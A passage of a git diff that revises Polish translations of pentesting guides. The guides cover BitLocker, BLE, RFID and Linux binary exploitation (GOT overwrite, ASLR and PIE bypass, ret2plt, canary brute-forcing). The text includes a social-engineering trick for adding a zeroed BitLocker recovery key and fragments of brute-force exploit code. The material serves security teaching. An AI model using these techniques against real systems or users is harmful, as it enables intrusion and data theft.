**Elcomsoft Forensic Disk Decryptor** lub **Passware Kit Forensic** mogą być wykorzystane w tym celu. -### Inżynieria Społeczna dla Dodania Klucza Odzyskiwania +### Inżynieria Społeczna w celu Dodania Klucza Odzyskiwania Nowy klucz odzyskiwania BitLocker można dodać za pomocą taktyk inżynierii społecznej, przekonując użytkownika do wykonania polecenia, które dodaje nowy klucz odzyskiwania składający się z zer, co upraszcza proces deszyfrowania. diff --git a/src/radio-hacking/low-power-wide-area-network.md b/src/radio-hacking/low-power-wide-area-network.md index 8e4986fbd..547b9ec66 100644 --- a/src/radio-hacking/low-power-wide-area-network.md +++ b/src/radio-hacking/low-power-wide-area-network.md @@ -7,7 +7,7 @@ **Low-Power Wide Area Network** (LPWAN) to grupa technologii bezprzewodowych, niskonapięciowych, szerokopasmowych zaprojektowanych do **komunikacji na dużą odległość** przy niskiej prędkości transmisji.\ Mogą osiągać więcej niż **sześć mil**, a ich **baterie** mogą działać do **20 lat**. -Long Range (**LoRa**) jest popularny w wielu krajach i ma otwartą specyfikację nazwaną **LoRaWAN**. +Long Range (**LoRa**) jest popularny w wielu krajach i ma otwartą specyfikację o nazwie **LoRaWAN**. ### LPWAN, LoRa i LoRaWAN diff --git a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md index 1e2163bf0..e53aaeef4 100644 --- a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md @@ -10,11 +10,11 @@ Urządzenie nasłuchujące, zwane również urządzeniem centralnym, może odpow ![](<../images/image (201) (2) (1) (1).png>) -Bajt preambuły synchronizuje częstotliwość, podczas gdy czterobajtowy adres dostępu jest **identyfikatorem połączenia**, który jest używany w scenariuszach, w których wiele urządzeń próbuje nawiązać połączenia na tych samych kanałach. Następnie, Jednostka Danych Protokolowych (**PDU**) zawiera **dane reklamowe**. Istnieje kilka typów PDU; najczęściej używane to ADV_NONCONN_IND i ADV_IND. Urządzenia używają typu PDU **ADV_NONCONN_IND**, jeśli **nie akceptują połączeń**, przesyłając dane tylko w pakiecie reklamowym. Urządzenia używają **ADV_IND**, jeśli **pozwalają na połączenia** i **przestają wysyłać pakiety reklamowe**, gdy **połączenie** zostało **nawiązane**. +Bajt preambuły synchronizuje częstotliwość, podczas gdy czterobajtowy adres dostępu jest **identyfikatorem połączenia**, który jest używany w scenariuszach, w których wiele urządzeń próbuje nawiązać połączenia na tych samych kanałach. Następnie, Jednostka Danych Protokolarnej (**PDU**) zawiera **dane reklamowe**. Istnieje kilka typów PDU; najczęściej używane to ADV_NONCONN_IND i ADV_IND. Urządzenia używają typu PDU **ADV_NONCONN_IND**, jeśli **nie akceptują połączeń**, przesyłając dane tylko w pakiecie reklamowym. Urządzenia używają **ADV_IND**, jeśli **pozwalają na połączenia** i **przestają wysyłać pakiety reklamowe**, gdy **połączenie** zostało **nawiązane**. ## GATT -**Ogólny Profil Atrybutów** (GATT) definiuje, jak **urządzenie powinno formatować i przesyłać dane**. Gdy analizujesz powierzchnię ataku urządzenia BLE, często skupiasz swoją uwagę na GATT (lub GATTach), ponieważ to sposób, w jaki **funkcjonalność urządzenia jest wyzwalana** i jak dane są przechowywane, grupowane i modyfikowane. GATT wymienia cechy, deskryptory i usługi urządzenia w tabeli jako wartości 16- lub 32-bitowe. **Cechą** jest **wartość danych** **wysyłana** między urządzeniem centralnym a peryferyjnym. Te cechy mogą mieć **deskryptory**, które **dostarczają dodatkowe informacje na ich temat**. **Cechy** są często **grupowane** w **usługach**, jeśli są związane z wykonywaniem określonej akcji. +**Ogólny Profil Atrybutów** (GATT) definiuje, jak **urządzenie powinno formatować i przesyłać dane**. Gdy analizujesz powierzchnię ataku urządzenia BLE, często skupiasz swoją uwagę na GATT (lub GATTach), ponieważ to sposób, w jaki **funkcjonalność urządzenia jest wyzwalana** i jak dane są przechowywane, grupowane i modyfikowane. GATT wymienia cechy, deskryptory i usługi urządzenia w tabeli jako wartości 16- lub 32-bitowe. **Cechą** jest **wartość danych** **wysyłana** między urządzeniem centralnym a peryferyjnym. Te cechy mogą mieć **deskryptory**, które **dostarczają dodatkowe informacje na ich temat**. **Cechy** są często **grupowane** w **usługi**, jeśli są związane z wykonywaniem określonej akcji. # Enumeracja ```bash diff --git a/src/radio-hacking/pentesting-rfid.md b/src/radio-hacking/pentesting-rfid.md index 7e66f81eb..7c984f13c 100644 --- a/src/radio-hacking/pentesting-rfid.md +++ b/src/radio-hacking/pentesting-rfid.md @@ -21,11 +21,11 @@ EPCglobal dzieli tagi RFID na sześć kategorii. Tag w każdej kategorii ma wszy ### Informacje przechowywane w tagach RFID -Pamięć tagu RFID zazwyczaj przechowuje cztery rodzaje danych: **dane identyfikacyjne**, które **identyfikują** **podmiot**, do którego tag jest przypisany (dane te obejmują pola zdefiniowane przez użytkownika, takie jak konta bankowe); **dane uzupełniające**, które dostarczają **dalszych** **szczegółów** dotyczących podmiotu; **dane kontrolne**, używane do wewnętrznej **konfiguracji** tagu; oraz **dane producenta** tagu, które zawierają unikalny identyfikator tagu (**UID**) oraz szczegóły dotyczące **produkcji**, **typu** i **producenta** tagu. Pierwsze dwa rodzaje danych znajdziesz we wszystkich komercyjnych tagach; ostatnie dwa mogą się różnić w zależności od producenta tagu. +Pamięć tagu RFID zazwyczaj przechowuje cztery rodzaje danych: **dane identyfikacyjne**, które **identyfikują** **podmiot**, do którego tag jest przypisany (dane te obejmują pola zdefiniowane przez użytkownika, takie jak konta bankowe); **dane uzupełniające**, które dostarczają **dalsze** **szczegóły** dotyczące podmiotu; **dane kontrolne**, używane do wewnętrznej **konfiguracji** tagu; oraz **dane producenta** tagu, które zawierają unikalny identyfikator tagu (**UID**) oraz szczegóły dotyczące **produkcji**, **typ** i **dostawcę** tagu. Pierwsze dwa rodzaje danych znajdziesz we wszystkich komercyjnych tagach; ostatnie dwa mogą się różnić w zależności od dostawcy tagu. Standard ISO określa wartość identyfikatora rodziny aplikacji (**AFI**), kod, który wskazuje **rodzaj obiektu**, do którego tag należy. Innym ważnym rejestrem, również określonym przez ISO, jest identyfikator formatu przechowywania danych (**DSFID**), który definiuje **logiczne zorganizowanie danych użytkownika**. -Większość **kontroli bezpieczeństwa RFID** ma mechanizmy, które **ograniczają** operacje **odczytu** lub **zapisu** na każdym bloku pamięci użytkownika oraz na specjalnych rejestrach zawierających wartości AFI i DSFID. Te **mechanizmy blokujące** wykorzystują dane przechowywane w pamięci kontrolnej i mają **domyślne hasła** wstępnie skonfigurowane przez producenta, ale pozwalają właścicielom tagów na **konfigurowanie niestandardowych haseł**. +Większość **kontroli bezpieczeństwa RFID** ma mechanizmy, które **ograniczają** operacje **odczytu** lub **zapisu** na każdym bloku pamięci użytkownika oraz na specjalnych rejestrach zawierających wartości AFI i DSFID. Te **mechanizmy blokujące** wykorzystują dane przechowywane w pamięci kontrolnej i mają **domyślne hasła** wstępnie skonfigurowane przez dostawcę, ale pozwalają właścicielom tagów na **konfigurowanie niestandardowych haseł**. ### Porównanie tagów niskiej i wysokiej częstotliwości @@ -35,9 +35,9 @@ Większość **kontroli bezpieczeństwa RFID** ma mechanizmy, które **ogranicza **Tagi niskiej częstotliwości** są często używane w systemach, które **nie wymagają wysokiego bezpieczeństwa**: dostęp do budynków, klucze do domofonów, karty członkowskie na siłownię itp. Dzięki wyższemu zasięgowi są wygodne w użyciu do płatnych parkingów: kierowca nie musi zbliżać karty do czytnika, ponieważ jest aktywowana z większej odległości. Jednocześnie tagi niskiej częstotliwości są bardzo prymitywne, mają niski wskaźnik transferu danych. Z tego powodu niemożliwe jest wdrożenie złożonego dwukierunkowego transferu danych, na przykład do utrzymywania salda i kryptografii. Tagi niskiej częstotliwości przesyłają tylko swoje krótkie ID bez żadnych środków uwierzytelniających. -Urządzenia te polegają na technologii **pasywnego** **RFID** i działają w **zakresie od 30 kHz do 300 kHz**, chociaż częściej używa się 125 kHz do 134 kHz: +Urządzenia te polegają na technologii **pasywnej** **RFID** i działają w **zakresie od 30 kHz do 300 kHz**, chociaż częściej używa się 125 kHz do 134 kHz: -- **Długi zasięg** — niższa częstotliwość przekłada się na większy zasięg. Istnieją czytniki EM-Marin i HID, które działają z odległości do metra. Często są używane na parkingach. +- **Długi zasięg** — niższa częstotliwość przekłada się na wyższy zasięg. Istnieją czytniki EM-Marin i HID, które działają z odległości do metra. Często są używane na parkingach. - **Prymitywny protokół** — z powodu niskiego wskaźnika transferu danych te tagi mogą przesyłać tylko swoje krótkie ID. W większości przypadków dane nie są uwierzytelniane i nie są w żaden sposób chronione. Gdy tylko karta znajdzie się w zasięgu czytnika, zaczyna przesyłać swoje ID. - **Niskie bezpieczeństwo** — te karty mogą być łatwo kopiowane lub nawet odczytywane z kieszeni kogoś innego z powodu prymitywności protokołu. @@ -62,7 +62,7 @@ Możesz **zaatakować te tagi za pomocą Flipper Zero**: **Tagi wysokiej częstotliwości** są używane do bardziej złożonej interakcji między czytnikiem a tagiem, gdy potrzebna jest kryptografia, duży dwukierunkowy transfer danych, uwierzytelnianie itp.\ Zwykle występują w kartach bankowych, transporcie publicznym i innych zabezpieczonych przepustkach. -**Tagi wysokiej częstotliwości 13.56 MHz to zestaw standardów i protokołów**. Zwykle określa się je jako [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ale to nie zawsze jest poprawne. Podstawowy zestaw protokołów używanych na poziomie fizycznym i logicznym to ISO 14443. Protokóły na wyższym poziomie, a także alternatywne standardy (takie jak ISO 19092), opierają się na nim. Wiele osób odnosi się do tej technologii jako **komunikacji bliskiego zasięgu (NFC)**, terminu dla urządzeń działających na częstotliwości 13.56 MHz. +**Tagi wysokiej częstotliwości 13.56 MHz to zestaw standardów i protokołów**. Zwykle określa się je jako [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ale to nie zawsze jest poprawne. Podstawowy zestaw protokołów używanych na poziomach fizycznym i logicznym to ISO 14443. Protokóły na wyższym poziomie, a także alternatywne standardy (takie jak ISO 19092), opierają się na nim. Wiele osób odnosi się do tej technologii jako **komunikacji bliskiego zasięgu (NFC)**, terminu dla urządzeń działających na częstotliwości 13.56 MHz.
@@ -76,7 +76,7 @@ Istnieje wiele systemów kontroli dostępu, które polegają na UID do **uwierzy - **Niski zasięg** — karty wysokiej częstotliwości są specjalnie zaprojektowane tak, aby musiały być umieszczane blisko czytnika. Pomaga to również chronić kartę przed nieautoryzowanymi interakcjami. Maksymalny zasięg odczytu, który udało nam się osiągnąć, wynosił około 15 cm, a to było z niestandardowymi czytnikami o dużym zasięgu. - **Zaawansowane protokoły** — prędkości transferu danych do 424 kbps pozwalają na złożone protokoły z pełnoprawnym dwukierunkowym transferem danych. Co z kolei **umożliwia kryptografię**, transfer danych itp. -- **Wysokie bezpieczeństwo** — karty bezkontaktowe wysokiej częstotliwości w żaden sposób nie ustępują kartom inteligentnym. Istnieją karty, które obsługują kryptograficznie silne algorytmy, takie jak AES, i wdrażają kryptografię asymetryczną. +- **Wysokie bezpieczeństwo** — karty bezstykowe wysokiej częstotliwości w żaden sposób nie ustępują kartom inteligentnym. Istnieją karty, które obsługują kryptograficznie silne algorytmy, takie jak AES, i wdrażają kryptografię asymetryczną. ### Atak @@ -92,7 +92,7 @@ Lub używając **proxmark**: ../todo/radio-hacking/proxmark-3.md {{#endref}} -## Odnośniki +## Odniesienia - [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md index 034332c3e..58c97e365 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -34,11 +34,11 @@ Korzystając z GEF, możesz **rozpocząć** sesję **debugowania** i wykonać ** ### GOT2Exec -W binarnym GOT ma **adresy do funkcji lub** do sekcji **PLT**, która załaduje adres funkcji. Celem tego arbitralnego zapisu jest **nadpisanie wpisu GOT** funkcji, która ma być wykonana później **z** **adresem** PLT funkcji **`system`** na przykład. +W binarnym GOT zawiera **adresy do funkcji lub** do sekcji **PLT**, która załaduje adres funkcji. Celem tego arbitralnego zapisu jest **nadpisanie wpisu GOT** funkcji, która ma być wykonana później **za pomocą** **adresu** PLT funkcji **`system`** na przykład. -Idealnie, powinieneś **nadpisać** **GOT** funkcji, która **będzie wywoływana z parametrami kontrolowanymi przez Ciebie** (abyś mógł kontrolować parametry wysyłane do funkcji systemowej). +Idealnie, powinieneś **nadpisać** **GOT** funkcji, która **będzie wywoływana z parametrami kontrolowanymi przez Ciebie** (więc będziesz mógł kontrolować parametry wysyłane do funkcji system). -Jeśli **`system`** **nie jest używany** przez skrypt, funkcja systemowa **nie będzie** miała wpisu w PLT. W tym scenariuszu będziesz **musiał najpierw wyciekować adres** funkcji `system`, a następnie nadpisać GOT, aby wskazywał na ten adres. +Jeśli **`system`** **nie jest używany** przez skrypt, funkcja system **nie będzie miała** wpisu w PLT. W tym scenariuszu będziesz **musiał najpierw wyciekować adres** funkcji `system`, a następnie nadpisać GOT, aby wskazywał na ten adres. Możesz zobaczyć adresy PLT za pomocą **`objdump -j .plt -d ./vuln_binary`** diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md index 610eaa6fa..4f04e0650 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md @@ -5,7 +5,7 @@ ## .dtors > [!CAUTION] -> Obecnie bardzo **dziwne jest znalezienie binarnego pliku z sekcją .dtors**. +> Obecnie jest bardzo **dziwne znaleźć binarny z sekcją .dtors**. Destruktory to funkcje, które są **wykonywane przed zakończeniem programu** (po zwróceniu funkcji `main`).\ Adresy tych funkcji są przechowywane w sekcji **`.dtors`** binarnego pliku, a zatem, jeśli uda ci się **zapisać** **adres** do **shellcode** w **`__DTOR_END__`**, to zostanie on **wykonany** przed zakończeniem programu. @@ -33,7 +33,7 @@ Contents of section .fini_array: #Put your address in 0x8049934 ``` -Zauważ, że to **nie** **spowoduje** **wiecznej pętli**, ponieważ gdy wrócisz do main, kanarek to zauważy, koniec stosu może być uszkodzony i funkcja nie zostanie wywołana ponownie. Dzięki temu będziesz mógł **mieć 1 więcej wykonanie** luki. +Zauważ, że to **nie** **spowoduje** **wiecznej pętli**, ponieważ gdy wrócisz do main, kanarek to zauważy, koniec stosu może być uszkodzony i funkcja nie zostanie wywołana ponownie. Dzięki temu będziesz mógł **mieć 1 dodatkowe wykonanie** luki. > [!OSTRZEŻENIE] > Zauważ, że przy [Full RELRO](../common-binary-protections-and-bypasses/relro.md) sekcja `.fini_array` jest ustawiona na **tylko do odczytu**. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md index f61cca9e7..3babfef15 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md @@ -4,7 +4,7 @@ ## Włącz pliki rdzeniowe -**Pliki rdzeniowe** to rodzaj pliku generowanego przez system operacyjny, gdy proces ulega awarii. Pliki te przechwytyją obraz pamięci awaryjnego procesu w momencie jego zakończenia, w tym pamięć procesu, rejestry i stan licznika programu, między innymi szczegóły. Ten zrzut może być niezwykle cenny do debugowania i zrozumienia, dlaczego wystąpiła awaria. +**Pliki rdzeniowe** to rodzaj pliku generowanego przez system operacyjny, gdy proces ulega awarii. Pliki te przechwycają obraz pamięci awaryjnego procesu w momencie jego zakończenia, w tym pamięć procesu, rejestry i stan licznika programu, między innymi szczegóły. Ten zrzut może być niezwykle cenny do debugowania i zrozumienia, dlaczego wystąpiła awaria. ### **Włączanie Generacji Zrzutów Rdzeniowych** @@ -24,6 +24,6 @@ Aby przeanalizować plik rdzeniowy, możesz użyć narzędzi do debugowania, tak ```bash gdb /path/to/executable /path/to/core_file ``` -To polecenie ładuje plik wykonywalny i plik rdzenia do GDB, umożliwiając inspekcję stanu programu w momencie awarii. Możesz używać poleceń GDB do eksploracji stosu, badania zmiennych i zrozumienia przyczyny awarii. +To polecenie ładuje plik wykonywalny i plik rdzenia do GDB, co pozwala na zbadanie stanu programu w momencie awarii. Możesz używać poleceń GDB, aby przeszukiwać stos, badać zmienne i zrozumieć przyczynę awarii. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md index 8f51d8eff..c2977476b 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md @@ -47,7 +47,7 @@ Po edytowaniu `/etc/sysctl.conf`, zastosuj zmiany za pomocą: ```bash sudo sysctl -p ``` -To zapewni, że ustawienia ASLR pozostaną po ponownym uruchomieniu. +To zapewni, że ustawienia ASLR pozostaną po ponownych uruchomieniach. ## **Obejścia** @@ -64,7 +64,7 @@ Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia u #### Pomysły na brute-force: - Jeśli masz wystarczająco duży overflow, aby pomieścić **duży NOP sled przed shellcode**, możesz po prostu brute-forcować adresy na stosie, aż przepływ **przeskoczy nad jakąś częścią NOP sled**. -- Inną opcją w przypadku, gdy overflow nie jest tak duży, a exploit może być uruchomiony lokalnie, jest możliwość **dodania NOP sled i shellcode w zmiennej środowiskowej**. +- Inną opcją w przypadku, gdy overflow nie jest tak duży, a exploit można uruchomić lokalnie, jest **dodanie NOP sled i shellcode w zmiennej środowiskowej**. - Jeśli exploit jest lokalny, możesz spróbować brute-forcować adres bazowy libc (przydatne dla systemów 32-bitowych): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): @@ -88,9 +88,9 @@ Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawi Dlatego, jeśli atakujący znajduje się na tym samym komputerze co binarny plik, który jest wykorzystywany, a ten plik binarny nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można skonstruować po przeczytaniu tego pliku**. Możliwe jest, aby atakujący **uzyskał kilka adresów z tego pliku i skonstruował od nich przesunięcia dla exploita**. > [!TIP] -> Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) szukając `/proc/pid/stat` +> Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html), szukając `/proc/pid/stat` -### Mieć wyciek +### Posiadanie wycieku - **Wyzwanie polega na uzyskaniu wycieku** diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md index 60e4be00c..1e354495d 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -4,7 +4,7 @@ ## Podstawowe informacje -Celem tej techniki jest **wyciek adresu z funkcji z PLT**, aby móc obejść ASLR. Dzieje się tak, ponieważ jeśli na przykład wycieknie adres funkcji `puts` z libc, można wtedy **obliczyć, gdzie znajduje się baza `libc`** i obliczyć przesunięcia, aby uzyskać dostęp do innych funkcji, takich jak **`system`**. +Celem tej techniki byłoby **wycieknięcie adresu z funkcji z PLT**, aby móc obejść ASLR. Dzieje się tak, ponieważ jeśli na przykład wyciekniesz adres funkcji `puts` z libc, możesz następnie **obliczyć, gdzie znajduje się baza `libc`** i obliczyć przesunięcia, aby uzyskać dostęp do innych funkcji, takich jak **`system`**. Można to zrobić za pomocą ładunku `pwntools`, takiego jak ([**stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): ```python diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md index 73c4a70be..cadffc8c5 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md @@ -8,7 +8,7 @@ Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w termino ## Obejścia -- Możliwe jest użycie technik takich jak [**ROP**](../stack-overflow/rop-return-oriented-programing.md) do obejścia tej ochrony poprzez wykonanie fragmentów kodu wykonywalnego już obecnego w binarnym. +- Możliwe jest użycie technik takich jak [**ROP**](../stack-overflow/rop-return-oriented-programing.md), aby obejść tę ochronę, wykonując fragmenty kodu wykonywalnego już obecnego w binarnym. - [**Ret2libc**](../stack-overflow/ret2lib/) - [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md) - **Ret2...** diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md index 91c8f4365..a6ed8c401 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md @@ -6,9 +6,9 @@ Plik binarny skompilowany jako PIE, czyli **Position Independent Executable**, oznacza, że **program może być ładowany w różnych lokalizacjach pamięci** za każdym razem, gdy jest uruchamiany, co zapobiega używaniu twardo zakodowanych adresów. -Sztuczka do wykorzystania tych binariów polega na wykorzystaniu **adresów względnych**—offsety między częściami programu pozostają takie same, nawet jeśli lokalizacje absolutne się zmieniają. Aby **obejść PIE, wystarczy wyciek jednego adresu**, zazwyczaj z **stosu** przy użyciu luk, takich jak ataki formatu ciągu. Gdy masz adres, możesz obliczyć inne na podstawie ich **stałych offsetów**. +Sztuczka do wykorzystania tych binariów polega na wykorzystaniu **adresów względnych**—offsety między częściami programu pozostają takie same, nawet jeśli lokalizacje absolutne się zmieniają. Aby **obejść PIE, wystarczy wyciek jednego adresu**, zazwyczaj z **stosu** przy użyciu luk, takich jak ataki na format string. Gdy masz adres, możesz obliczyć inne na podstawie ich **stałych offsetów**. -Pomocna wskazówka przy wykorzystywaniu binariów PIE to to, że ich **adres bazowy zazwyczaj kończy się na 000** z powodu stron pamięci, które są jednostkami losowości, o rozmiarze 0x1000 bajtów. To wyrównanie może być krytycznym **sprawdzianem, jeśli exploit nie działa** zgodnie z oczekiwaniami, wskazując, czy poprawny adres bazowy został zidentyfikowany.\ +Pomocna wskazówka przy wykorzystywaniu binariów PIE to to, że ich **adres bazowy zazwyczaj kończy się na 000** z powodu stron pamięci, które są jednostkami randomizacji, o rozmiarze 0x1000 bajtów. To wyrównanie może być krytycznym **sprawdzianem, jeśli exploit nie działa** zgodnie z oczekiwaniami, wskazując, czy poprawny adres bazowy został zidentyfikowany.\ Lub możesz to wykorzystać w swoim exploicie, jeśli wycieknie, że adres znajduje się pod **`0x649e1024`**, wiesz, że **adres bazowy to `0x649e1000`** i stąd możesz po prostu **obliczyć offsety** funkcji i lokalizacji. ## Obejścia @@ -23,7 +23,7 @@ Aby obejść PIE, konieczne jest **wycieknięcie jakiegoś adresu załadowanego* bypassing-canary-and-pie.md {{#endref}} -- Użyć luk do odczytu arbitralnego, takich jak [**format string**](../../format-strings/), aby wyciekować adres binarnego (np. ze stosu, jak w poprzedniej technice), aby uzyskać bazę binarnego i używać offsetów stamtąd. [**Znajdź przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- Użyć luki w odczycie arbitralnym, takiej jak [**format string**](../../format-strings/), aby wyciekować adres binarnego (np. ze stosu, jak w poprzedniej technice), aby uzyskać bazę binarnego i użyć offsetów stamtąd. [**Znajdź przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). ## Odniesienia diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 4c85948af..6fc4ad0c6 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -7,18 +7,18 @@ ![](<../../../../images/image (144).png>) > [!NOTE] -> Zauważ, że **`checksec`** może nie wykryć, że plik binarny jest chroniony przez canary, jeśli został skompilowany statycznie i nie jest w stanie zidentyfikować funkcji.\ -> Możesz jednak zauważyć to ręcznie, jeśli stwierdzisz, że wartość jest zapisywana w stosie na początku wywołania funkcji i ta wartość jest sprawdzana przed zakończeniem. +> Zauważ, że **`checksec`** może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został skompilowany statycznie i nie jest w stanie zidentyfikować funkcji.\ +> Możesz jednak zauważyć to ręcznie, jeśli odkryjesz, że wartość jest zapisywana w stosie na początku wywołania funkcji i ta wartość jest sprawdzana przed zakończeniem. ## Brute-Force Adresy -Aby obejść PIE, musisz **wyciekować jakiś adres**. A jeśli plik binarny nie wycieka żadnych adresów, najlepiej jest **brute-forcować RBP i RIP zapisane w stosie** w podatnej funkcji.\ -Na przykład, jeśli plik binarny jest chroniony zarówno przez **canary**, jak i **PIE**, możesz zacząć brute-forcować canary, a następnie **następne** 8 bajtów (x64) będą zapisanym **RBP**, a **następne** 8 bajtów będą zapisanym **RIP.** +Aby obejść PIE, musisz **wyciekować jakiś adres**. A jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest **brute-forcować RBP i RIP zapisane w stosie** w podatnej funkcji.\ +Na przykład, jeśli binarny plik jest chroniony zarówno przez **canary**, jak i **PIE**, możesz zacząć brute-forcować canary, a następnie **następne** 8 bajtów (x64) będą zapisanym **RBP**, a **następne** 8 bajtów będą zapisanym **RIP.** > [!TIP] > Zakłada się, że adres powrotu w stosie należy do głównego kodu binarnego, co, jeśli podatność znajduje się w kodzie binarnym, zazwyczaj będzie miało miejsce. -Aby brute-forcować RBP i RIP z pliku binarnego, możesz ustalić, że zgadnięty bajt jest poprawny, jeśli program coś wyświetli lub po prostu nie zawiesza się. Ta **sama funkcja** co podana do brute-forcowania canary może być użyta do brute-forcowania RBP i RIP: +Aby brute-forcować RBP i RIP z binarnego pliku, możesz ustalić, że zgadnięty bajt jest poprawny, jeśli program coś wyświetli lub po prostu nie zawiesi się. **Ta sama funkcja** jak ta podana do brute-forcowania canary może być użyta do brute-forcowania RBP i RIP: ```python from pwn import * @@ -77,7 +77,7 @@ Aby obliczyć adres bazowy, wystarczy wykonać `objdump -d vunbinary` i sprawdzi ![](<../../../../images/image (145).png>) -W tym przykładzie widać, że potrzebne jest tylko **1 i pół bajta**, aby zlokalizować cały kod, więc adres bazowy w tej sytuacji będzie **wyciekłym RIP, ale kończącym się na "000"**. Na przykład, jeśli wyciekł `0x562002970ecf`, adres bazowy to `0x562002970000` +W tym przykładzie widać, że potrzebne jest tylko **1,5 bajta**, aby zlokalizować cały kod, więc adres bazowy w tej sytuacji będzie **wyciekłym RIP, ale kończącym się na "000"**. Na przykład, jeśli wyciekło `0x562002970ecf`, adres bazowy to `0x562002970000` ```python elf.address = RIP - (RIP & 0xfff) ``` diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md index 67c0fd6a3..c4d99e803 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md @@ -4,28 +4,28 @@ ## Relro -**RELRO** oznacza **Relocation Read-Only** i jest funkcją zabezpieczeń stosowaną w plikach binarnych w celu złagodzenia ryzyka związanego z nadpisywaniem **GOT (Global Offset Table)**. Rozłóżmy ten koncept na dwa wyraźne typy dla jasności: **Partial RELRO** i **Full RELRO**. +**RELRO** oznacza **Relocation Read-Only** i jest funkcją zabezpieczeń stosowaną w binariach w celu złagodzenia ryzyka związanego z nadpisywaniem **GOT (Global Offset Table)**. Rozłóżmy ten koncept na dwa wyraźne typy dla jasności: **Partial RELRO** i **Full RELRO**. ### **Partial RELRO** -**Partial RELRO** przyjmuje prostsze podejście do zwiększenia bezpieczeństwa bez znaczącego wpływu na wydajność binarnego pliku. Poprzez **umiejscowienie GOT 